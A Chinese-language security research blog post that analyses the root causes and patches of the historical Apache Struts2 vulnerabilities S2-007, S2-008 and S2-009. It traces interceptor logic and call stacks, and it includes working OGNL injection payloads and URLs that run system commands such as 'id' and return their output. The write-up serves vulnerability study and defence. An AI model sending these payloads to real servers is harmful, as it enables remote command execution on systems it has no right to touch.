<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。
文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-007
影响版本:Struts 2.0.0 - Struts 2.2.3
从漏洞公告可获悉该漏洞出现的场景和PoC。
这里使用Struts2 2.2.3
自带的示例应用showcase
进行漏洞复现,找到校验器Validate部分,如下:
如上图,在Integer Validator Field
一栏的输入框中,输入PoC <' + #application + '>
,提交后,由于没有通过应用程序中定义的整数校验器的校验,所以将输入中包含的OGNL表达式进行解析,并将解析结果进行返回。
从漏洞公告中可获悉漏洞出现在struts2的默认拦截器com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor的getOverrideExpr()
方法中(但经调试发现,实际上调用的是其子类StrutsConversionErrorInterceptor的getOverrideExpr()
方法。):
如上图,该方法返回"'" + value + "'"
。结合给出的PoC,很容易可猜想到,该方法会将文本输入框中提交过来的字符串用单引号’包裹上,原因应该是为了防止OGNL表达式的执行。很明显,可构造输入将这里的单引号’左右都进行闭合,便可以绕过防护。
在调试分析该漏洞前,建议先了解下struts2的主体架构和运行主线,关于这个可参考陆舟编著的《Struts2技术内幕》第七、第八章。
另外,还需要了解一下struts2的校验器框架的原理。关于这个可参考链接:https://blog.csdn.net/Mark_LQ/article/details/49837507
struts2提供的校验器框架,也是通过拦截器去实现的。按照拦截器的先后顺序,下面会提及最后的四个:
表单提交后,会先到拦截器ParametersInterceptor#doIntercept()
进行处理,会把参数存到当前值栈ValueStack
的上下文对象context
中,然后再把执行的控制权移交下一个拦截器StrutsConversionErrorInterceptor
去执行。
StrutsConversionErrorInterceptor
从ActionContext
中将转化类型时发生的错误信息添加到校验器对应的Action对象的FieldError
中,在校验时候经常被使用到来在页面中显示类型转化错误的信息。
另外,还会将类型转化失败的参数值传入getOverrideExpr()
方法进行处理,处理后再通过回调的方式保存到当前值栈ValueStack
对象的属性overrides
中,该属性是一个Map
集合。
问题就出现在这个getOverrideExpr()
,这里只是简单的用单引号'
包裹文本框输入。所以输入的时候添加单引号’将这里的单引号闭合即可让OGNL表达式跳出单引号的包裹。
拦截器StrutsConversionErrorInterceptor
处理完后就将执行的控制权移交给下一个拦截器AnnotationValidationInterceptor
。
AnnotationValidationInterceptor
的职责就是获取应用程序定义的校验器(validator
),并使用这些校验器对用户输入进行校验,结果是校验失败。校验结束后,将执行的控制权移交给最后一个拦截器DefaultWorkflowInterceptor
。
由于在AnnotationValidationInterceptor
中使用校验器校验用户输入的结果是校验失败,所以在DefaultWorkflowInterceptor
中就根据该结果,返回字符串"input",产生的结果就是返回input
视图页面,从而中止了整个执行栈的调度执行。
接着就是构造input
的视图页面,它是JSP页面,所以后面的漏洞触发流程也就跟S2-001
差不多了,调用栈如下:
TextFieldTag#doEndTag()
ComponentTagSupport#doEndTag()
UIBean#end()
UIBean#evaluateParams()
Component#findValue()
TextParseUtil#translateVariables()
OgnlValueStack#findValue()
OgnlValueStack#tryFindValueWhenExpressionIsNotNull()
OgnlValueStack#tryFindValue()
OgnlValueStack#lookupForOverrides()
OgnlValueStack#getValue()
其中,在OgnlValueStack#lookupForOverrides()
方法中会取出当前值栈的overrides
属性,该属性中存放了前面类型转化失败的入参,也就是文本框中输入的内容。取出来后进行OGNL表达式计算。
至此,该漏洞的原理分析完了。
' + (
#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#[email protected]@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()
) + '
Struts2 2.2.3.1
版本,依赖的XWork的版本也是2.2.3.1
,在默认拦截器org.apache.struts2.interceptor.StrutsConversionErrorInterceptor
的getOverrideExpr()
方法中进行了修复。
如上图所示,对输入字符串中的双引号进行了转义后,再用双引号将其包裹。从而避免了输入字符串中的双引号闭合左右两边的双引号。
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-008
影响版本:Struts 2.0.0 - Struts 2.3.1
从漏洞公告可知,S2-008一共4个漏洞。第一个漏洞与S2-007漏洞点类似,故不再关注。这里只关注能RCE类型的第2个和第4个漏洞。
拦截器CookieInterceptor
在struts2中默认是不开启的。需要在应用的struts.xml
配置文件中手动开启,且要配置参数才行,如下图:
其实该漏洞跟S2-005类似,是因为在CookieInterceptor
拦截器中没有对cookie
进行合法性校验从而导致了可以在cookie
的键key
位置注入恶意的OGNL表达式。
然而主流Web容器比如Tomcat,会对cookie
的名称有字符限制,一些关键字符无法使用使得这个漏洞点显得比较鸡肋。
尽管如此,在后续的修复版本中,还是在CookieInterceptor
中增加了正则表达式进行字符白名单匹配。
该漏洞的前提条件是需要应用开启devMode
模式。
正如vulhub上面提到的一样,该漏洞虽然较为鸡肋,但也可用作后门:
在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。
漏洞原理比较简单,因为代码显而易见,在DebuggingInterceptor#intercept()
中对入参进行了OGNL表达式计算,如下图:
可简单执行命令的PoC如下:
/devmode.action?debug=command
&expression=(%23_memberAccess.allowStaticMethodAccess=true,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
因为DebuggingInterceptor
会把表达式的计算结果返回,所以这里就没有必要获取response
对象了:
/devmode.action?debug=command
&expression=(%23_memberAccess.allowStaticMethodAccess=true,%[email protected]@getRuntime().exec('id'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),new%20java.lang.String(%23res))
后续的版本中,并没有对拦截器DebuggingInterceptor
中的代码进行修复,因为就该调试功能本身而言,并不是漏洞。所以后续的修复主要是针对SecurityMemberAccess
的代码进行改进,增强安全性。
官方漏洞公告:
https://cwiki.apache.org/confluence/display/WW/S2-009
影响版本:Struts 2.0.0 - Struts 2.3.1.1
S2-009是S2-005的修复绕过,而且绕过的方法很巧妙。(btw,S2-003/S2-005/S2-009都是当时Google安全团队的Meder Kydyraliev报告的)
在调试分析这些老漏洞的过程,其实也是在观摩安全人员和开发人员之间的对抗过程,挺有趣的)
前面分析过S2-003/S2-005漏洞可以知道,现在为了防止请求参数名中的OGNL表达式执行,主要做了以下两点:
SecurityMemberAccess
,且其属性allowStaticMethodAccess
默认为false
,来防止利用OGNL表达式去执行Java方法;ParametersInterceptor
中对请求参数名进行正则表达式白名单字符的匹配,来防止特殊符号(比如:#
符号)经过unicode编码后的绕过。这次的绕过使用到了OGNL表达式求值的另一种写法:[(ognl_java_code)(fuck)]
。测试了一下,这种写法确实是有效的,如下图:
另外,在Action以属性封装的形式接收表单数据的情况下,比如myaction?testparam=xxx&z[(testparam)(fuck)]
,且myaction
对应的Action类也有名为testparam
的成员属性。提交后,struts2会将xxx
赋值给Action的成员属性testparam
,接着处理第二个参数z[(testparam)(fuck)]
时,先在Action类中检索名为testparam
的属性的值,将检索到的值进行OGNL表达式计算。最关键的是,z[(testparam)(fuck)]
这种参数名形式是匹配ParametersInterceptor
拦截器中用来校验参数名合法性的正则表达式[a-zA-Z0-9\.\]\[\(\)_']+
的。
因此,把恶意的OGNL表达式放置在testparam
参数值,即xxx
的位置,便可以规避拦截器ParametersInterceptor
的正则表达式白名单字符的匹配,最终达成RCE。
下面以Struts2 2.3.1.1
自带的示例程序showcase
为例,找到ajax/Example5Action.java
,其代码很简单,且符合使用属性封装的形式来获取提交过来的表单数据(这里的表单,不要狭隘地理解为HTML中的form
表单,而是通过http提交数据的一种形式:key=value),如下图:
构造可简单执行命令的PoC如下:
http://vulfocus.me:31519/S2-009/ajax/example5?
name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
&z[(name)(fuck)]
如下图,在拦截器ParametersInterceptor
处理完第一个请求参数name后,Example5Action
的成员属性name
被成功赋值,它的值就是我们提交的包含恶意Java代码的OGNL表达式。
在解析第二个参数z[(name)(fuck)]
的过程中,会解析为两个ASTProperty
类型的节点,如下图:
然后会去当前Action对象Example5Action
中检索name
成员变量的值,如下图:
接着对获取到的name
的值进行OGNL表达式计算,最后成功执行命令,如下图:
/example5.action?name=(#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#[email protected]@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#[email protected]@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close())
&z[(name)(fuck)]
Struts2 2.3.1.2
版本,依赖的XWork版本也是2.3.1.2
,在拦截器ParametersInterceptor
中,对请求参数名的合法性校验进行了增强,即增强了正则表达式。
另外,还将ParametersInterceptor
中的newStack.setValue()
替换为newStack.setParameter()
方法调用,在OgnlValueStack#setParameter()
方法中,会通过boolean
标志位去禁止OGNL表达式计算的。
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf